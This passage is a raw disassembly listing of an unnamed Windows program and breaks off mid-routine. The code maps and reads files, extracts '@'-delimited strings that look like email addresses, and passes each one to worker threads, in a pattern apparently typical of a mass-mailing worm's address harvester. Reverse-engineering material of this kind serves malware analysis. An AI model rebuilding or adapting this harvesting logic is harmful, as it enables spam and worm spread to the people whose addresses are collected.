  5683.         inc    eax
  5684.         jmp    loc_4A5A2E
  5685. ; ───────────────────────────────────────────────────────────────────────────
  5686.  
  5687. loc_4A59AE:                ; CODE XREF: sub_4A595D+47j
  5688.         push    60h
  5689.         push    ebx
  5690.         push    esi
  5691.         call    memset
  5692.         mov    eax, [esp+14h+arg_4]
  5693.         add    esp, 0Ch
  5694.         mov    [esi+4], eax
  5695.         lea    eax, [esi+8]
  5696.         push    4Fh        ; iMaxLength
  5697.         push    [esp+0Ch+lpString2] ; lpString2
  5698.         push    eax        ; lpString1
  5699.         call    ds:lstrcpynA
  5700.         call    ds:GetTickCount
  5701.         mov    [esi+58h], eax
  5702.         mov    [esi+5Ch], ebx
  5703.         mov    eax, ds:dword_4A83D4
  5704.         mov    [esi], eax
  5705.         mov    ds:dword_4A83D4, esi
  5706.         jmp    short loc_4A5A2C
  5707. ; ───────────────────────────────────────────────────────────────────────────
  5708.  
  5709. loc_4A59EC:                ; CODE XREF: sub_4A595D+31j
  5710.         cmp    esi, ebx
  5711.         jz    short loc_4A59A6
  5712.         cmp    [esi+5Ch], ebx
  5713.         jnz    short loc_4A59A6
  5714.         push    edi
  5715.         lea    edi, [esi+8]
  5716.         mov    dword ptr [esi+5Ch], 1
  5717.         mov    [edi], bl
  5718.         call    ds:GetTickCount
  5719.         push    dword ptr [esi+4] ; lpMem
  5720.         mov    [esi+58h], eax
  5721.         call    sub_4A50E5
  5722.         pop    ecx
  5723.         push    4Fh        ; iMaxLength
  5724.         push    [esp+10h+lpString2] ; lpString2
  5725.         push    edi        ; lpString1
  5726.         call    ds:lstrcpynA
  5727.         mov    eax, [esp+0Ch+arg_4]
  5728.         mov    [esi+5Ch], ebx
  5729.         mov    [esi+4], eax
  5730.         pop    edi
  5731.  
  5732. loc_4A5A2C:                ; CODE XREF: sub_4A595D+8Dj
  5733.         xor    eax, eax
  5734.  
  5735. loc_4A5A2E:                ; CODE XREF: sub_4A595D+4Cj
  5736.         pop    esi
  5737.         pop    ebx
  5738.         retn
  5739. sub_4A595D    endp
  5740.  
  5741.  
  5742. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5743.  
  5744.  
  5745. sub_4A5A31    proc near        ; CODE XREF: sub_4A5A7C+35p
  5746.  
  5747. lpString2    = dword    ptr  8
  5748.  
  5749.         push    esi
  5750.         mov    esi, [esp+lpString2]
  5751.         push    esi        ; lpString2
  5752.         call    sub_4A5934
  5753.         test    eax, eax
  5754.         pop    ecx
  5755.         jz    short loc_4A5A46
  5756.         inc    dword ptr [eax+5Ch]
  5757.         pop    esi
  5758.         retn
  5759. ; ───────────────────────────────────────────────────────────────────────────
  5760.  
  5761. loc_4A5A46:                ; CODE XREF: sub_4A5A31+Ej
  5762.         push    edi
  5763.         push    esi
  5764.         call    sub_4A50D1
  5765.         mov    edi, eax
  5766.         pop    ecx
  5767.         test    edi, edi
  5768.         jnz    short loc_4A5A62
  5769.         call    ds:GetTickCount
  5770.         test    al, 3
  5771.         jz    short loc_4A5A62
  5772.  
  5773. loc_4A5A5E:                ; CODE XREF: sub_4A5A31+43j
  5774.         xor    eax, eax
  5775.         jmp    short loc_4A5A79
  5776. ; ───────────────────────────────────────────────────────────────────────────
  5777.  
  5778. loc_4A5A62:                ; CODE XREF: sub_4A5A31+21j
  5779.                     ; sub_4A5A31+2Bj
  5780.         push    edi        ; int
  5781.         push    esi        ; lpString2
  5782.         call    sub_4A595D
  5783.         push    esi        ; lpString2
  5784.         call    sub_4A5934
  5785.         add    esp, 0Ch
  5786.         test    eax, eax
  5787.         jz    short loc_4A5A5E
  5788.         inc    dword ptr [eax+5Ch]
  5789.  
  5790. loc_4A5A79:                ; CODE XREF: sub_4A5A31+2Fj
  5791.         pop    edi
  5792.         pop    esi
  5793.         retn
  5794. sub_4A5A31    endp
  5795.  
  5796.  
  5797. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5798.  
  5799. ; Attributes: bp-based frame
  5800.  
  5801. sub_4A5A7C    proc near        ; CODE XREF: .text:004A5B06p
  5802.  
  5803. String1        = byte ptr -50h
  5804. arg_0        = dword    ptr  8
  5805.  
  5806.         push    ebp
  5807.         mov    ebp, esp
  5808.         sub    esp, 50h
  5809.         push    edi
  5810.         mov    edi, [ebp+arg_0]
  5811.         add    edi, 0Ah
  5812.         mov    eax, edi
  5813.         jmp    short loc_4A5A93
  5814. ; ───────────────────────────────────────────────────────────────────────────
  5815.  
  5816. loc_4A5A8D:                ; CODE XREF: sub_4A5A7C+1Bj
  5817.         cmp    cl, 40h
  5818.         jz    short loc_4A5A9E
  5819.         inc    eax
  5820.  
  5821. loc_4A5A93:                ; CODE XREF: sub_4A5A7C+Fj
  5822.         mov    cl, [eax]
  5823.         test    cl, cl
  5824.         jnz    short loc_4A5A8D
  5825.         cmp    cl, 40h
  5826.         jnz    short loc_4A5AE8
  5827.  
  5828. loc_4A5A9E:                ; CODE XREF: sub_4A5A7C+14j
  5829.         push    esi
  5830.         inc    eax
  5831.         push    4Fh        ; iMaxLength
  5832.         push    eax        ; lpString2
  5833.         lea    eax, [ebp+String1]
  5834.         push    eax        ; lpString1
  5835.         call    ds:lstrcpynA
  5836.         lea    eax, [ebp+String1]
  5837.         push    eax
  5838.         call    sub_4A5A31
  5839.         mov    esi, eax
  5840.         pop    ecx
  5841.         test    esi, esi
  5842.         jz    short loc_4A5AE7
  5843.         push    edi        ; lpString
  5844.         call    sub_4A76D2
  5845.         mov    edi, eax
  5846.         pop    ecx
  5847.         test    edi, edi
  5848.         jz    short loc_4A5ADC
  5849.         push    edi
  5850.         push    dword ptr [esi+4]
  5851.         call    sub_4A7F4C
  5852.         pop    ecx
  5853.         pop    ecx
  5854.         push    edi        ; hMem
  5855.         call    ds:GlobalFree
  5856.  
  5857. loc_4A5ADC:                ; CODE XREF: sub_4A5A7C+4Cj
  5858.         mov    eax, [esi+5Ch]
  5859.         test    eax, eax
  5860.         jle    short loc_4A5AE7
  5861.         dec    eax
  5862.         mov    [esi+5Ch], eax
  5863.  
  5864. loc_4A5AE7:                ; CODE XREF: sub_4A5A7C+3Fj
  5865.                     ; sub_4A5A7C+65j
  5866.         pop    esi
  5867.  
  5868. loc_4A5AE8:                ; CODE XREF: sub_4A5A7C+20j
  5869.         pop    edi
  5870.         leave
  5871.         retn
  5872. sub_4A5A7C    endp
  5873.  
  5874. ; ───────────────────────────────────────────────────────────────────────────
  5875.  
  5876. loc_4A5AEB:                ; DATA XREF: .text:004A5C57o
  5877.         push    esi
  5878.         push    edi
  5879.         mov    edi, offset dword_4A83D0
  5880.         push    edi
  5881.         call    ds:InterlockedIncrement
  5882.         mov    esi, [esp+0Ch]
  5883.         test    esi, esi
  5884.         jz    short loc_4A5B10
  5885.         push    esi
  5886.         mov    byte ptr [esi+8], 1
  5887.         call    sub_4A5A7C
  5888.         pop    ecx
  5889.         mov    byte ptr [esi+8], 2
  5890.  
  5891. loc_4A5B10:                ; CODE XREF: .text:004A5AFFj
  5892.         cmp    ds:dword_4A83D0, 0
  5893.         jbe    short loc_4A5B20
  5894.         push    edi
  5895.         call    ds:InterlockedDecrement
  5896.  
  5897. loc_4A5B20:                ; CODE XREF: .text:004A5B17j
  5898.         push    0
  5899.         call    ds:ExitThread
  5900.         pop    edi
  5901.         pop    esi
  5902.  
  5903. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  5904.  
  5905.  
  5906. sub_4A5B2A    proc near        ; CODE XREF: .text:004A5C17p
  5907.         push    esi
  5908.         mov    esi, ds:dword_4A83CC
  5909.         push    edi
  5910.         mov    edi, offset dword_4A83CC
  5911.         jmp    short loc_4A5B7D
  5912. ; ───────────────────────────────────────────────────────────────────────────
  5913.  
  5914. loc_4A5B39:                ; CODE XREF: sub_4A5B2A+55j
  5915.         cmp    byte ptr [esi+8], 2
  5916.         jnz    short loc_4A5B5F
  5917.         call    ds:GetTickCount
  5918.         sub    eax, [esi+4]
  5919.         xor    edx, edx
  5920.         mov    ecx, 3E8h
  5921.         div    ecx
  5922.         lea    ecx, [eax+5]
  5923.         test    ecx, ecx
  5924.         jl    short loc_4A5B65
  5925.         cmp    eax, 1C20h
  5926.         jg    short loc_4A5B65
  5927.  
  5928. loc_4A5B5F:                ; CODE XREF: sub_4A5B2A+13j
  5929.         mov    edi, esi
  5930.         mov    esi, [esi]
  5931.         jmp    short loc_4A5B7D
  5932. ; ───────────────────────────────────────────────────────────────────────────
  5933.  
  5934. loc_4A5B65:                ; CODE XREF: sub_4A5B2A+2Cj
  5935.                     ; sub_4A5B2A+33j
  5936.         mov    ecx, [esi]
  5937.         mov    eax, esi
  5938.         push    eax        ; lpMem
  5939.         mov    [edi], ecx
  5940.         mov    esi, [esi]
  5941.         push    0        ; dwFlags
  5942.         call    ds:GetProcessHeap
  5943.         push    eax        ; hHeap
  5944.         call    ds:HeapFree
  5945.  
  5946. loc_4A5B7D:                ; CODE XREF: sub_4A5B2A+Dj
  5947.                     ; sub_4A5B2A+39j
  5948.         test    esi, esi
  5949.         jnz    short loc_4A5B39
  5950.         pop    edi
  5951.         pop    esi
  5952.         retn
  5953. sub_4A5B2A    endp
  5954.  
  5955. ; ───────────────────────────────────────────────────────────────────────────
  5956.         sub    esp, 0Ch
  5957.         and    dword ptr [esp+0], 0
  5958.         push    ebx
  5959.         push    ebp
  5960.         push    esi
  5961.         push    edi
  5962.         mov    edi, ds:Sleep
  5963.         mov    ds:dword_4A83D0, 0
  5964.         jmp    short loc_4A5BB9
  5965. ; ───────────────────────────────────────────────────────────────────────────
  5966.  
  5967. loc_4A5BA2:                ; CODE XREF: .text:004A5BC0j
  5968.         push    800h
  5969.         call    edi ; Sleep
  5970.         push    1
  5971.         call    sub_4A613D
  5972.         mov    dword ptr [esp], 3800h
  5973.  
  5974. loc_4A5BB7:                ; CODE XREF: .text:004A5C79j
  5975.                     ; .text:004A5C87j ...
  5976.         call    edi ; Sleep
  5977.  
  5978. loc_4A5BB9:                ; CODE XREF: .text:004A5BA0j
  5979.         call    sub_4A4681
  5980.         test    eax, eax
  5981.         jz    short loc_4A5BA2
  5982.         xor    eax, eax
  5983.         cmp    dword ptr [esp+10h], 1
  5984.         setz    al
  5985.         push    eax
  5986.         call    sub_4A613D
  5987.         mov    eax, ds:dword_4A83CC
  5988.         xor    esi, esi
  5989.         xor    ebx, ebx
  5990.         xor    ebp, ebp
  5991.         test    eax, eax
  5992.         pop    ecx
  5993.         mov    [esp+14h], esi
  5994.         jz    short loc_4A5C34
  5995.  
  5996. loc_4A5BE6:                ; CODE XREF: .text:004A5C0Dj
  5997.         inc    ebx
  5998.         cmp    byte ptr [eax+8], 0
  5999.         jnz    short loc_4A5BFC
  6000.         inc    ebp
  6001.         test    esi, esi
  6002.         jz    short loc_4A5BFA
  6003.         mov    cl, [esi+9]
  6004.         cmp    cl, [eax+9]
  6005.         jle    short loc_4A5BFC
  6006.  
  6007. loc_4A5BFA:                ; CODE XREF: .text:004A5BF0j
  6008.         mov    esi, eax
  6009.  
  6010. loc_4A5BFC:                ; CODE XREF: .text:004A5BEBj
  6011.                     ; .text:004A5BF8j
  6012.         mov    ecx, [eax+4]
  6013.         cmp    ecx, [esp+14h]
  6014.         jb    short loc_4A5C09
  6015.         mov    [esp+14h], ecx
  6016.  
  6017. loc_4A5C09:                ; CODE XREF: .text:004A5C03j
  6018.         mov    eax, [eax]
  6019.         test    eax, eax
  6020.         jnz    short loc_4A5BE6
  6021.         cmp    ebx, 1000h
  6022.         jl    short loc_4A5C34
  6023.         call    sub_4A5B2A
  6024.         cmp    ebp, 200h
  6025.         jle    short loc_4A5C34
  6026.         xor    eax, eax
  6027.         inc    eax
  6028.         push    eax
  6029.         mov    [esp+14h], eax
  6030.         call    sub_4A613D
  6031.         pop    ecx
  6032.         jmp    short loc_4A5C39
  6033. ; ───────────────────────────────────────────────────────────────────────────
  6034.  
  6035. loc_4A5C34:                ; CODE XREF: .text:004A5BE4j
  6036.                     ; .text:004A5C15j ...
  6037.         and    dword ptr [esp+10h], 0
  6038.  
  6039. loc_4A5C39:                ; CODE XREF: .text:004A5C32j
  6040.         xor    eax, eax
  6041.         cmp    ebp, eax
  6042.         jz    short loc_4A5C8C
  6043.         cmp    esi, eax
  6044.         jz    short loc_4A5C8C
  6045.         cmp    ds:dword_4A83D0, 4
  6046.         jnb    short loc_4A5C74
  6047.         lea    ecx, [esp+18h]
  6048.         mov    byte ptr [esi+8], 1
  6049.         push    ecx
  6050.         push    eax
  6051.         push    esi
  6052.         push    offset loc_4A5AEB
  6053.         push    eax
  6054.         push    eax
  6055.         call    ds:CreateThread
  6056.         test    eax, eax
  6057.         jz    short loc_4A5C7E
  6058.         cmp    eax, 0FFFFFFFFh
  6059.         jz    short loc_4A5C7E
  6060.         push    eax
  6061.         call    ds:CloseHandle
  6062.  
  6063. loc_4A5C74:                ; CODE XREF: .text:004A5C4Aj
  6064.         push    100h
  6065.         jmp    loc_4A5BB7
  6066. ; ───────────────────────────────────────────────────────────────────────────
  6067.  
  6068. loc_4A5C7E:                ; CODE XREF: .text:004A5C66j
  6069.                     ; .text:004A5C6Bj
  6070.         mov    byte ptr [esi+8], 2
  6071.  
  6072. loc_4A5C82:                ; CODE XREF: .text:004A5C9Ej
  6073.                     ; .text:004A5CA5j ...
  6074.         push    400h
  6075.         jmp    loc_4A5BB7
  6076. ; ───────────────────────────────────────────────────────────────────────────
  6077.  
  6078. loc_4A5C8C:                ; CODE XREF: .text:004A5C3Dj
  6079.                     ; .text:004A5C41j
  6080.         push    eax
  6081.         mov    dword ptr [esp+14h], 2
  6082.         call    sub_4A613D
  6083.         cmp    ebx, 3
  6084.         pop    ecx
  6085.         jl    short loc_4A5C82
  6086.         cmp    dword ptr [esp+14h], 0
  6087.         jz    short loc_4A5C82
  6088.         call    ds:GetTickCount
  6089.         sub    eax, [esp+14h]
  6090.         cmp    eax, 1770h
  6091.         jb    short loc_4A5C82
  6092.         call    sub_4A586A
  6093.         push    80h
  6094.         jmp    loc_4A5BB7
  6095.  
  6096. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6097.  
  6098.  
  6099. sub_4A5CC7    proc near        ; CODE XREF: main+70p
  6100.         xor    eax, eax
  6101.         mov    ds:dword_4A83CC, eax
  6102.         mov    ds:dword_4A83D0, eax
  6103.         mov    ds:dword_4A83D4, eax
  6104.         retn
  6105. sub_4A5CC7    endp
  6106.  
  6107. ; ───────────────────────────────────────────────────────────────────────────
  6108. dword_4A5CD9    dd 0FFFEA6E8h, 0FF006AFFh, 4A10A015h ; DATA XREF: main+7Bo
  6109. ; ───────────────────────────────────────────────────────────────────────────
  6110.         add    ah, cl
  6111.  
  6112. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6113.  
  6114. ; Attributes: bp-based frame
  6115.  
  6116. sub_4A5CE7    proc near        ; CODE XREF: sub_4A5EC8+79p
  6117.  
  6118. var_C        = dword    ptr -0Ch
  6119. var_8        = dword    ptr -8
  6120. var_4        = dword    ptr -4
  6121. WideCharStr    = word ptr  8
  6122. arg_4        = dword    ptr  0Ch
  6123.  
  6124.         push    ebp
  6125.         mov    ebp, esp
  6126.         sub    esp, 0Ch
  6127.         cmp    [ebp+arg_4], 0
  6128.         mov    eax, dword ptr [ebp+WideCharStr]
  6129.         jle    short loc_4A5D0C
  6130.         mov    edx, [ebp+arg_4]
  6131.  
  6132. loc_4A5CF9:                ; CODE XREF: sub_4A5CE7+23j
  6133.         movzx    ecx, byte ptr [eax]
  6134.         mov    cl, ds:byte_4A2B00[ecx]
  6135.         test    cl, cl
  6136.         jz    short loc_4A5D08
  6137.         mov    [eax], cl
  6138.  
  6139. loc_4A5D08:                ; CODE XREF: sub_4A5CE7+1Dj
  6140.         inc    eax
  6141.         dec    edx
  6142.         jnz    short loc_4A5CF9
  6143.  
  6144. loc_4A5D0C:                ; CODE XREF: sub_4A5CE7+Dj
  6145.         push    ebx
  6146.         push    esi
  6147.         push    edi
  6148.  
  6149. loc_4A5D0F:                ; CODE XREF: sub_4A5CE7+E0j
  6150.         xor    esi, esi
  6151.         cmp    [ebp+arg_4], esi
  6152.         mov    [ebp+var_4], esi
  6153.         jl    loc_4A5DA9
  6154.  
  6155. loc_4A5D1D:                ; CODE XREF: sub_4A5CE7+BCj
  6156.         push    2
  6157.         mov    edi, offset dword_4A2C08
  6158.         pop    ebx
  6159.         mov    [ebp+var_8], ebx
  6160.  
  6161. loc_4A5D28:                ; CODE XREF: sub_4A5CE7+B6j
  6162.         cmp    ebx, esi
  6163.         jg    short loc_4A5D92
  6164.         mov    ecx, dword ptr [ebp+WideCharStr]
  6165.         mov    eax, esi
  6166.         sub    eax, ebx
  6167.         push    ebx
  6168.         mov    [ebp+var_C], eax
  6169.         add    eax, ecx
  6170.         push    eax
  6171.         push    dword ptr [edi-4]
  6172.         call    sub_4A42A7
  6173.         add    esp, 0Ch
  6174.         test    eax, eax
  6175.         jnz    short loc_4A5D92
  6176.         push    dword ptr [edi]
  6177.         mov    esi, [ebp+var_C]
  6178.         mov    eax, dword ptr [ebp+WideCharStr]
  6179.         inc    [ebp+var_4]
  6180.         push    dword ptr [edi+4]
  6181.         add    eax, esi
  6182.         push    eax
  6183.         call    memcpy
  6184.         mov    eax, [edi]
  6185.         add    esp, 0Ch
  6186.         cmp    ebx, eax
  6187.         jz    short loc_4A5D8B
  6188.         mov    edx, [ebp+arg_4]
  6189.         add    eax, esi
  6190.         sub    edx, [ebp+var_8]
  6191.         add    eax, dword ptr [ebp+WideCharStr]
  6192.         lea    ecx, [ebx+esi]
  6193.         add    ecx, dword ptr [ebp+WideCharStr]
  6194.         sub    edx, esi
  6195.         test    edx, edx
  6196.         jle    short loc_4A5D88
  6197.  
  6198. loc_4A5D7F:                ; CODE XREF: sub_4A5CE7+9Fj
  6199.         mov    bl, [ecx]
  6200.         mov    [eax], bl
  6201.         inc    eax
  6202.         inc    ecx
  6203.         dec    edx
  6204.         jnz    short loc_4A5D7F
  6205.  
  6206. loc_4A5D88:                ; CODE XREF: sub_4A5CE7+96j
  6207.         mov    ebx, [ebp+var_8]
  6208.  
  6209. loc_4A5D8B:                ; CODE XREF: sub_4A5CE7+7Fj
  6210.         mov    eax, [edi]
  6211.         sub    eax, ebx
  6212.         add    [ebp+arg_4], eax
  6213.  
  6214. loc_4A5D92:                ; CODE XREF: sub_4A5CE7+43j
  6215.                     ; sub_4A5CE7+60j
  6216.         mov    ebx, [edi+8]
  6217.         add    edi, 10h
  6218.         test    ebx, ebx
  6219.         mov    [ebp+var_8], ebx
  6220.         jnz    short loc_4A5D28
  6221.         inc    esi
  6222.         cmp    esi, [ebp+arg_4]
  6223.         jle    loc_4A5D1D
  6224.  
  6225. loc_4A5DA9:                ; CODE XREF: sub_4A5CE7+30j
  6226.         mov    esi, dword ptr [ebp+WideCharStr]
  6227.         mov    eax, [ebp+arg_4]
  6228.         push    esi        ; WideCharStr
  6229.         and    byte ptr [esi+eax], 0
  6230.         call    sub_4A4321
  6231.         add    [ebp+var_4], eax
  6232.         push    esi
  6233.         call    sub_4A4489
  6234.         add    eax, [ebp+var_4]
  6235.         pop    ecx
  6236.         pop    ecx
  6237.         jnz    loc_4A5D0F
  6238.         pop    edi
  6239.         pop    esi
  6240.         xor    eax, eax
  6241.         pop    ebx
  6242.         leave
  6243.         retn
  6244. sub_4A5CE7    endp
  6245.  
  6246.  
  6247. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6248.  
  6249. ; Attributes: bp-based frame
  6250.  
  6251. sub_4A5DD4    proc near        ; CODE XREF: sub_4A5EC8+88p
  6252.  
  6253. var_108        = byte ptr -108h
  6254. var_8        = dword    ptr -8
  6255. var_4        = dword    ptr -4
  6256. arg_0        = dword    ptr  8
  6257. arg_4        = dword    ptr  0Ch
  6258.  
  6259.         push    ebp
  6260.         mov    ebp, esp
  6261.         sub    esp, 108h
  6262.         push    edi
  6263.         xor    edi, edi
  6264.         cmp    [ebp+arg_4], edi
  6265.         mov    [ebp+var_4], edi
  6266.         jle    loc_4A5EC2
  6267.         push    ebx
  6268.         push    esi
  6269.         mov    esi, [ebp+arg_0]
  6270.  
  6271. loc_4A5DF1:                ; CODE XREF: sub_4A5DD4+E6j
  6272.         lea    ebx, [edi+1]
  6273.         mov    [ebp+var_8], ebx
  6274.         cmp    byte ptr [esi+ebx-1], 40h
  6275.         jnz    loc_4A5EB5
  6276.         test    edi, edi
  6277.         mov    ecx, edi
  6278.         jle    short loc_4A5E1B
  6279.  
  6280. loc_4A5E08:                ; CODE XREF: sub_4A5DD4+45j
  6281.         movzx    eax, byte ptr [esi+ecx-1]
  6282.         cmp    ds:byte_4A2C90[eax], 0
  6283.         jz    short loc_4A5E1B
  6284.         dec    ecx
  6285.         test    ecx, ecx
  6286.         jg    short loc_4A5E08
  6287.  
  6288. loc_4A5E1B:                ; CODE XREF: sub_4A5DD4+32j
  6289.                     ; sub_4A5DD4+40j
  6290.         cmp    ebx, [ebp+arg_4]
  6291.         mov    eax, ebx
  6292.         jge    short loc_4A5E45
  6293.  
  6294. loc_4A5E22:                ; CODE XREF: sub_4A5DD4+5Fj
  6295.         movzx    edx, byte ptr [eax+esi]
  6296.         cmp    ds:byte_4A2C90[edx], 0
  6297.         jz    short loc_4A5E45
  6298.         inc    eax
  6299.         cmp    eax, [ebp+arg_4]
  6300.         jl    short loc_4A5E22
  6301.         jmp    short loc_4A5E45
  6302. ; ───────────────────────────────────────────────────────────────────────────
  6303.  
  6304. loc_4A5E37:                ; CODE XREF: sub_4A5DD4+73j
  6305.         movzx    edx, byte ptr [ecx+esi]
  6306.         cmp    ds:byte_4A2C90[edx], 2
  6307.         jnz    short loc_4A5E49
  6308.         inc    ecx
  6309.  
  6310. loc_4A5E45:                ; CODE XREF: sub_4A5DD4+4Cj
  6311.                     ; sub_4A5DD4+59j ...
  6312.         cmp    ecx, eax
  6313.         jl    short loc_4A5E37
  6314.  
  6315. loc_4A5E49:                ; CODE XREF: sub_4A5DD4+6Ej
  6316.         lea    edx, [ecx+3]
  6317.         cmp    edx, eax
  6318.         jge    short loc_4A5EB5
  6319.         cmp    ecx, edi
  6320.         jge    short loc_4A5EB5
  6321.         cmp    eax, ecx
  6322.         jle    short loc_4A5E6E
  6323.  
  6324. loc_4A5E58:                ; CODE XREF: sub_4A5DD4+95j
  6325.         movzx    ebx, byte ptr [esi+eax-1]
  6326.         cmp    ds:byte_4A2C90[ebx], 2
  6327.         jnz    short loc_4A5E6B
  6328.         dec    eax
  6329.         cmp    eax, ecx
  6330.         jg    short loc_4A5E58
  6331.  
  6332. loc_4A5E6B:                ; CODE XREF: sub_4A5DD4+90j
  6333.         mov    ebx, [ebp+var_8]
  6334.  
  6335. loc_4A5E6E:                ; CODE XREF: sub_4A5DD4+82j
  6336.         cmp    eax, edx
  6337.         jle    short loc_4A5EB5
  6338.         cmp    eax, edi
  6339.         jle    short loc_4A5EB5
  6340.         sub    eax, ecx
  6341.         mov    edi, eax
  6342.         cmp    edi, 7
  6343.         jl    short loc_4A5EB5
  6344.         inc    [ebp+var_4]
  6345.         xor    edx, edx
  6346.         add    ecx, esi
  6347.  
  6348. loc_4A5E86:                ; CODE XREF: sub_4A5DD4+C7j
  6349.         cmp    edx, edi
  6350.         jge    short loc_4A5E9D
  6351.         mov    al, [ecx]
  6352.         mov    [ebp+edx+var_108], al
  6353.         inc    edx
  6354.         inc    ecx
  6355.         cmp    edx, 0FEh
  6356.         jb    short loc_4A5E86
  6357.  
  6358. loc_4A5E9D:                ; CODE XREF: sub_4A5DD4+B4j
  6359.         and    [ebp+edx+var_108], 0
  6360.         lea    eax, [ebp+var_108]
  6361.         push    0
  6362.         push    eax
  6363.         call    sub_4A5788
  6364.         pop    ecx
  6365.         pop    ecx
  6366.  
  6367. loc_4A5EB5:                ; CODE XREF: sub_4A5DD4+28j
  6368.                     ; sub_4A5DD4+7Aj ...
  6369.         mov    edi, ebx
  6370.         cmp    edi, [ebp+arg_4]
  6371.         jl    loc_4A5DF1
  6372.         pop    esi
  6373.         pop    ebx
  6374.  
  6375. loc_4A5EC2:                ; CODE XREF: sub_4A5DD4+12j
  6376.         mov    eax, [ebp+var_4]
  6377.         pop    edi
  6378.         leave
  6379.         retn
  6380. sub_4A5DD4    endp
  6381.  
  6382.  
  6383. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6384.  
  6385. ; Attributes: bp-based frame
  6386.  
  6387. sub_4A5EC8    proc near        ; CODE XREF: sub_4A6147+1ABp
  6388.  
  6389. var_10010    = byte ptr -10010h
  6390. hObject        = dword    ptr -10h
  6391. var_C        = dword    ptr -0Ch
  6392. var_8        = dword    ptr -8
  6393. var_4        = dword    ptr -4
  6394. lpFileName    = dword    ptr  8
  6395.  
  6396.         push    ebp
  6397.         mov    ebp, esp
  6398.         mov    eax, 10010h
  6399.         call    sub_4A8180
  6400.         push    ebx
  6401.         xor    ebx, ebx
  6402.         push    ebx        ; hTemplateFile
  6403.         push    80h        ; dwFlagsAndAttributes
  6404.         push    3        ; dwCreationDisposition
  6405.         push    ebx        ; lpSecurityAttributes
  6406.         push    3        ; dwShareMode
  6407.         push    80000000h    ; dwDesiredAccess
  6408.         push    [ebp+lpFileName] ; lpFileName
  6409.         call    ds:CreateFileA
  6410.         cmp    eax, ebx
  6411.         mov    [ebp+hObject], eax
  6412.         jz    loc_4A5F91
  6413.         cmp    eax, 0FFFFFFFFh
  6414.         jz    loc_4A5F91
  6415.         push    esi
  6416.         mov    esi, ds:ReadFile
  6417.         push    edi
  6418.         lea    ecx, [ebp+var_4]
  6419.         push    ebx
  6420.         push    ecx
  6421.         mov    edi, 0FFFDh
  6422.         lea    ecx, [ebp+var_10010]
  6423.         push    edi
  6424.         push    ecx
  6425.         mov    [ebp+var_8], ebx
  6426.         mov    [ebp+var_C], ebx
  6427.         push    eax
  6428.         jmp    short loc_4A5F76
  6429. ; ───────────────────────────────────────────────────────────────────────────
  6430.  
  6431. loc_4A5F28:                ; CODE XREF: sub_4A5EC8+B8j
  6432.         cmp    eax, 0FFFFh
  6433.         jnb    short loc_4A5F82
  6434.         add    [ebp+var_8], eax
  6435.         mov    [ebp+eax+var_10010], bl
  6436.         push    eax
  6437.         lea    eax, [ebp+var_10010]
  6438.         push    eax
  6439.         call    sub_4A5CE7
  6440.         push    [ebp+var_4]
  6441.         lea    eax, [ebp+var_10010]
  6442.         push    eax
  6443.         call    sub_4A5DD4
  6444.         add    esp, 10h
  6445.         add    [ebp+var_C], eax
  6446.         jnz    short loc_4A5F66
  6447.         cmp    [ebp+var_8], 4B000h
  6448.         ja    short loc_4A5F82
  6449.  
  6450. loc_4A5F66:                ; CODE XREF: sub_4A5EC8+93j
  6451.         lea    eax, [ebp+var_4]
  6452.         push    ebx
  6453.         push    eax
  6454.         lea    eax, [ebp+var_10010]
  6455.         push    edi
  6456.         push    eax
  6457.         push    [ebp+hObject]
  6458.  
  6459. loc_4A5F76:                ; CODE XREF: sub_4A5EC8+5Ej
  6460.         mov    [ebp+var_4], ebx
  6461.         call    esi
  6462.         mov    eax, [ebp+var_4]
  6463.         cmp    eax, ebx
  6464.         jnz    short loc_4A5F28
  6465.  
  6466. loc_4A5F82:                ; CODE XREF: sub_4A5EC8+65j
  6467.                     ; sub_4A5EC8+9Cj
  6468.         push    [ebp+hObject]    ; hObject
  6469.         call    ds:CloseHandle
  6470.         pop    edi
  6471.         xor    eax, eax
  6472.         pop    esi
  6473.         jmp    short loc_4A5F94
  6474. ; ───────────────────────────────────────────────────────────────────────────
  6475.  
  6476. loc_4A5F91:                ; CODE XREF: sub_4A5EC8+2Ej
  6477.                     ; sub_4A5EC8+37j
  6478.         xor    eax, eax
  6479.         inc    eax
  6480.  
  6481. loc_4A5F94:                ; CODE XREF: sub_4A5EC8+C7j
  6482.         pop    ebx
  6483.         leave
  6484.         retn
  6485. sub_4A5EC8    endp
  6486.  
  6487.  
  6488. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  6489.  
  6490.  
  6491. sub_4A5F97    proc near        ; CODE XREF: sub_4A60A5+84p
  6492.                     ; sub_4A6147+1BBp
  6493.  
  6494. var_74        = byte ptr -74h
  6495.  
  6496.         push    ebp
  6497.         lea    ebp, [esp+var_74]
  6498.         sub    esp, 94h
  6499.         push    ebx
  6500.         xor    ebx, ebx
  6501.         push    esi
  6502.         push    ebx        ; hTemplateFile
  6503.         push    80h        ; dwFlagsAndAttributes
  6504.         push    3        ; dwCreationDisposition
  6505.         push    ebx        ; lpSecurityAttributes
  6506.         push    3        ; dwShareMode
  6507.         push    80000000h    ; dwDesiredAccess
  6508.         push    dword ptr [ebp+7Ch] ; lpFileName
  6509.         call    ds:CreateFileA
  6510.         mov    esi, eax
  6511.         cmp    esi, ebx
  6512.         mov    [ebp+64h], esi
  6513.         jz    loc_4A609B
  6514.         cmp    esi, 0FFFFFFFFh
  6515.         jz    loc_4A609B
  6516.         push    ebx        ; lpFileSizeHigh
  6517.         push    esi        ; hFile
  6518.         call    ds:GetFileSize
  6519.         push    ebx        ; lpName
  6520.         push    ebx        ; dwMaximumSizeLow
  6521.         push    ebx        ; dwMaximumSizeHigh
  6522.         push    2        ; flProtect
  6523.         push    ebx        ; lpFileMappingAttributes
  6524.         push    esi        ; hFile
  6525.         mov    [ebp+68h], eax
  6526.         call    ds:CreateFileMappingA
  6527.         cmp    eax, ebx
  6528.         mov    [ebp+60h], eax
  6529.         jz    loc_4A6096
  6530.         cmp    eax, 0FFFFFFFFh
  6531.         jz    loc_4A6096
  6532.         push    edi
  6533.         push    ebx        ; dwNumberOfBytesToMap
  6534.         push    ebx        ; dwFileOffsetLow
